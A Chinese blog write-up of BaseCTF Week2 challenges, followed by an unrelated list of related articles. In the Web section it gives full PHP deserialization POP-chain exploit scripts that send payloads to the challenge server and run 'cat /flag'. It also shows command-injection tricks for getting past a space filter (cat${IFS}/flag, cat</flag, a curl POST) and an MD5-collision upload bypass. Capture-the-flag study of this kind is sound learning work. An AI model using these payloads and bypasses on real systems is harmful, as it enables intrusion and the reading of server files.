当前位置: 首页 > news >正文

BaseCTF Week2

Week2

Web

[Week2] 一起吃豆豆

[Week2] 你听不到我的声音

无回显RCE
参考博客:

  • BMZCTF:shell_exec_ctf exec(command:“ls >> 1.txt”)-CSDN博客
  • RCE绕过之无回显_ctf无回显rce-CSDN博客


[Week2] ez_ser

PHP反序列化。
参考博客:[https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/](https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/)
编写EXP脚本:

<?php// highlight_file(__FILE__);// error_reporting(0);class re
{public $chu0;
public function __toString()            //  在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况 {if (!isset($this->chu0)) {return "I can not believes!";}$this->chu0->$nononono;}
}class web
{public $kw;public $dt;public function __wakeup()          //   创建对象时自动调用__wakeup()函数{echo "lalalla" . $this->kw;}public function __destruct()        //对象所在的函数已调用完毕),系统自动执行析构函数{echo "ALL Done!";}
}class pwn
{public $dusk;public $over;public function __get($name)            //  读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用{if ($this->dusk != "gods") {echo "什么,你竟敢不认可?";}$this->over->getflag();}
}class Misc
{public $nothing;public $flag;public function getflag(){eval("system('cat /flag');");}
}class Crypto
{public function __wakeup()          //   创建对象时自动调用__wakeup()函数{echo "happy happy happy!";}public function getflag(){echo "you are over!";}
}//反序列化的链子
// Web的__wakeup() -> __toString() -> $nononono -> __get() -> getflag() // 构建对象并设置其属性
$re = new re();
$pwn = new pwn();
// $misc = new Misc();
$crypto = new Crypto();
# 触发Web的__wakeup
$web = new web();# 触发__toString()
$web -> kw = $re;# 触发__get()
$re -> chu0 = $pwn;$pwn -> dusk = "gods";
$pwn -> over = new Misc();// 序列化对象
$payload = urlencode(serialize($web));
echo $payload ."\n";// 构造 URL,将 Payload 传递给目标网站
$url = "http://challenge.basectf.fun:32538/?ser=" . $payload;// 发送 GET 请求,触发反序列化漏洞
$response = file_get_contents($url);// 输出响应
echo $response;

image.png
image.png

代码分析
  1. 类定义:
    • class re: 拥有一个属性chu0,并实现了__toString方法,当对象被当做字符串使用时会调用此方法。如果chu0未被设置,则返回"I can not believes!"。如果chu0被设置,则尝试调用其一个未定义的属性 $nononono 上的方法。
    • class web: 拥有两个属性kwdt,并定义了__wakeup__destruct方法。__wakeup在反序列化时会被调用,输出"lalalla"和kw__destruct在对象销毁时被调用,输出"ALL Done!"。
    • class pwn: 拥有两个属性duskover,并重载了__get方法。当访问未定义的属性时,会调用__get方法。如果dusk不是"gods",输出"什么,你竟敢不认可?"。然后调用over对象的getflag方法。
    • class Misc: 拥有两个属性nothingflag,并定义了getflag方法,运行system('cat /flag');
    • class Crypto: 定义了__wakeupgetflag方法,__wakeup在反序列化时输出"happy happy happy!“,getflag输出"you are over!”。
  2. 反序列化
    • $ser = $_GET['ser'];: 从GET请求中获取序列化的字符串。
    • unserialize($ser);: 反序列化该字符串。
反序列化利用

为了利用反序列化的漏洞来执行Misc类中的getflag方法,我们需要构造一个适当的序列化字符串。我们可以通过以下步骤来构造:

  1. 创建一个pwn类的对象。
  2. 设定其dusk属性为"gods"。
  3. 设定其over属性为一个Misc类的对象。

[Week2] RCEisamazingwithspace

image.png
在这个PHP代码中,用户输入的命令被限制不能包含空格(即空白字符),因为使用了正则表达式 preg_match('/\s/', $cmd) 来检查。如果命令中包含空格字符,则会输出 “Space not allowed in command” 并退出。然后使用 system($cmd) 执行命令。
要绕过这个限制执行一个命令获取flag,你可以利用以下几种方法:

1. 使用URL编码和替代字符

某些符号可以在命令解析时替代空格。以下是一些常见的方法:

使用分号

分号可以用来分隔多个命令:

cmd1;cmd2

你可以用分号来分隔命令,比如:

cat;/flag

然而这样会被直接检测为空格的存在而被阻止。

使用${IFS}变量

在Bash中,${IFS}代表内部字段分隔符,默认是空格、制表符和换行符。你可以利用它来绕过空格检查:

cat${IFS}/flag
2. 使用环境变量

某些情况下,你可以使用环境变量来构造命令,例如:

${PATH:0:1}bin${PATH:0:1}cat${PATH:0:1}flag

这将会解析为 /bin/cat /flag

3. 使用命令替代(不包含空格)

你可以使用命令替代短命令来获取flag。例如:
如果目标服务器允许访问/proc文件系统,你可以尝试以下命令:

cat</flag

这样避免了使用空格。

4. 使用目录路径替代空格

某些情况下,你可以利用路径替代空格。例如:

cat</flag
示例代码

假设你希望通过POST请求发送命令,可以尝试以下PHP重现这种绕过的例子:

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if (preg_match('/\s/', $cmd)) {echo 'Space not allowed in command';exit;
}
system($cmd);
?>

然后你可以使用上面提到的方法,比如:

cat${IFS}/flag

来进行测试。

CURL请求示例

使用 curl 发送POST请求测试:

curl -X POST -d "cmd=cat${IFS}/flag" http://target.url/path/to/script.php

通过这种方法,你可以绕过空格检查并执行命令来获取flag。请注意,根据实际服务器配置和安全措施,可能需要调整策略。务必确保你有合法权限和授权进行这类测试。

[Week2] Happy Birthday

首先检查是否是PDF文件,修改Content-Type
image.png
然后检查两个文件的内容是否一致,一致不给过,不一致才给过
但是内容不一致之后会检查MD5是否一致,MD5一致才给过
众所周知,内容的变化就会导致MD5的变化,所以只能用fastcoll_v1.0.0.5.exe来生成两个内容不一样的文件,但是MD5一样的文件来绕过,参考博客:【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞_fastcoll工具-CSDN博客
然后将这两个文件上传获得flag
image.png

[Week2] Really EZ POP

EXP:

<?php
// highlight_file(__FILE__);class Sink
{private $cmd = 'echo `cat /flag`;';public function __toString()        //  在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况 {eval($this->cmd);}
}class Shark
{private $word = 'Hello, World!';public function __invoke()      //以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用,CTF中最常见的触发情况就是出现($this–>m1)()这种形式的调用时,被处理后就可以成功调用__invoke(){echo 'Shark says:' . $this->word;}public function setWord($word)      // 使用公共方法设置私有属性{$this->word = $word;}
}class Sea
{public $animal;public function __get($name)        //  读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用{$sea_ani = $this->animal;echo 'In a deep deep sea, there is a ' . $sea_ani();}
}class Nature
{public $sea;public function __destruct()        //对象所在的函数已调用完毕),系统自动执行析构函数{echo $this->sea->see;}
}//反序列化的链子
// __destruct() ->  __get() -> __invoke() -> __toString() -> eval($this->cmd)// 构建对象并设置其属性
$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
// 触发__destruct()
$nature = new Nature();//触发__get()
$nature -> sea = $sea;//触发__invoke()
$sea -> animal = $shark;//触发 __toString()
$shark->setWord($sink); // 通过公共方法设置私有属性// 修改 cmd 命令$payload = urlencode(serialize($nature));echo $payload . "\n";// 将Payload发送到目标网站
$data = ['nature' => $payload,
];$url = 'http://challenge.basectf.fun:27759/'; // 替换成目标网站的URL
$options = ['http' => ['method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => http_build_query($data),],
];$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);// 输出响应
echo $response;//生成的payload为:O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22echo+%60cat+%2Fflag%60%3B%22%3B%7D%7D%7D%7D
//URL解码为:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"Sharkword";O:4:"Sink":1:{s:9:"Sinkcmd";s:17:"echo+`cat+/flag`;";}}}}

image.png

Misc

[Week2] 前辈什么的最喜欢了

Base64转图片——>PNG宽高一把梭
在线Base64转图片 (lddgo.net)
image.png
image.png
image.png
image.png
image.png

[Week2] 二维码1-街头小广告

image.png

[Week2] 海上又遇了鲨鱼

参考博客:Wireshark使用指南之重组FTP会话,提取FTP传输原始数据_提取每个 ftp-data 包中的数据流,拼接为一个完整文件-CSDN博客
发现flag.zip
image.png
追踪TCP流到19个流,发现压缩包的文件头和内容
image.png
保存原始数据为flag.zip
image.png
提示需要解压密码
image.png
第16个流有密码Ba3eBa3e!@#
image.png
image.png

[Week2] Aura 酱的旅行日记 <图寻擂台>

谷歌识图
image.png
百度百科
image.png

[Week2] 哇!珍德食泥鸭

foremost ikun.gif -o out
获得一个docx文档,移开白色图片获得flag,或者全选,然后复制粘贴到记事本可以看到flag
image.png
image.png

[Week2] Base?!

在线XXencode编码|在线XXencode解码|XX编码|XX解码|XXencode编码原理介绍–查错网 (chacuo.net)
XXencode
image.png

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • linux固定ip
  • Tampermonkey 安装
  • Python的8个构建桌面应用的技巧
  • CNN网络的一些基本知识
  • 代码随想录算法训练营day58:图论08:拓扑排序精讲;dijkstra(朴素版)精讲
  • [C++进阶]map和set的相关题目
  • 数据结构-c/c++实现栈(详解,栈容量可以动态增长)
  • MySQL——基础操作
  • 【Unity】简单机甲运动系统——坦克式操控方式
  • 房产报备小程序房产报备系统源码搭建方案
  • GPT-SoVITS-WebUI 初体验
  • 专栏引言:迈向大数据分析的最前沿
  • Java 单元测试指南
  • Nginx IP 哈希负载均衡配置:实现请求智能分发
  • WebForms DataList 控件深入解析
  • 【翻译】babel对TC39装饰器草案的实现
  • 230. Kth Smallest Element in a BST
  • Java比较器对数组,集合排序
  • LeetCode29.两数相除 JavaScript
  • overflow: hidden IE7无效
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • 从零开始的webpack生活-0x009:FilesLoader装载文件
  • 少走弯路,给Java 1~5 年程序员的建议
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • Mac 上flink的安装与启动
  • ​【经验分享】微机原理、指令判断、判断指令是否正确判断指令是否正确​
  • ​ArcGIS Pro 如何批量删除字段
  • ​Java基础复习笔记 第16章:网络编程
  • ​埃文科技受邀出席2024 “数据要素×”生态大会​
  • ​补​充​经​纬​恒​润​一​面​
  • #NOIP 2014# day.1 T3 飞扬的小鸟 bird
  • #我与Java虚拟机的故事#连载10: 如何在阿里、腾讯、百度、及字节跳动等公司面试中脱颖而出...
  • (16)UiBot:智能化软件机器人(以头歌抓取课程数据为例)
  • (pojstep1.1.1)poj 1298(直叙式模拟)
  • (板子)A* astar算法,AcWing第k短路+八数码 带注释
  • (不用互三)AI绘画工具应该如何选择
  • (二)正点原子I.MX6ULL u-boot移植
  • (附源码)计算机毕业设计SSM在线影视购票系统
  • (六)c52学习之旅-独立按键
  • (六)什么是Vite——热更新时vite、webpack做了什么
  • (企业 / 公司项目)前端使用pingyin-pro将汉字转成拼音
  • (图)IntelliTrace Tools 跟踪云端程序
  • (一)Dubbo快速入门、介绍、使用
  • (已解决)报错:Could not load the Qt platform plugin “xcb“
  • (转)http-server应用
  • (转)Unity3DUnity3D在android下调试
  • ***汇编语言 实验16 编写包含多个功能子程序的中断例程
  • *ST京蓝入股力合节能 着力绿色智慧城市服务
  • ./configure,make,make install的作用(转)
  • .describe() python_Python-Win32com-Excel
  • .NET Framework .NET Core与 .NET 的区别
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)
  • .NETCORE 开发登录接口MFA谷歌多因子身份验证
  • .NET开源项目介绍及资源推荐:数据持久层